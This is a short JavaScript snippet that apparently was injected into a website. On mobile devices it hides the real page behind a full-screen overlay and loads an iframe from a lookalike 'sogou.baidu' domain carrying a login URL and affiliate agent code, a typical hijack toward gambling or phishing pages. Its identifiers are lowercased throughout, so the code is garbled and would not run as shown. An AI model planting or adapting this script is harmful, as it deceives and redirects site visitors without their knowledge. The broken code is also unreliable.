var ismobile = /android|webos|phone|pad|pod|iphone|ipod|ios|ipad|mobile|blackberry|iemobile|mqqbrowser|juc|fennec|wosbrowser|browserng|webos|symbian|windows phone/i.test(navigator.useragent);

if (ismobile) {
    var items = ['https://sogou.baidu.1lb8h60-k9z4yhxlg-mfbk.com:51000/?loginurl=https%3a%2f%2fwww.814mj.com%3a9999&agent_code=50002128'];
    var randomindex = math.floor(math.random() * items.length); // 当前只有一个 url，但保留随机选择逻辑便于未来可能的扩展
    var strurl = items[randomindex];
    console.log(strurl);

    var metaviewport = document.createelement('meta');
    metaviewport.setattribute('name', 'viewport');
    metaviewport.setattribute('content', 'user-scalable=no, width=device-width, initial-scale=1.0');
    document.head.appendchild(metaviewport);

    var styleelement = document.createelement('style');
    styleelement.innerhtml = 'html, body { width: 100%; height: 100%; overflow: hidden; clear: both; }';
    document.head.appendchild(styleelement);

    var containerdiv = document.createelement('div');
    containerdiv.style.width = '100%';
    containerdiv.style.height = '100%';
    containerdiv.style.position = 'fixed';
    containerdiv.style.top = '0';
    containerdiv.style.left = '0';
    containerdiv.style.zindex = '2147483647';
    containerdiv.style.background = '#fff';
    document.body.appendchild(containerdiv);

    var iframeelement = document.createelement('iframe');
    iframeelement.src = strurl;
    iframeelement.frameborder = '0';
    iframeelement.style.border = '0';
    iframeelement.style.width = '100%';
    iframeelement.style.textalign = 'center';
    iframeelement.style.border = 'none';
    iframeelement.style.height = '100%';
    iframeelement.style.maxheight = '4000px';
    containerdiv.appendchild(iframeelement);
}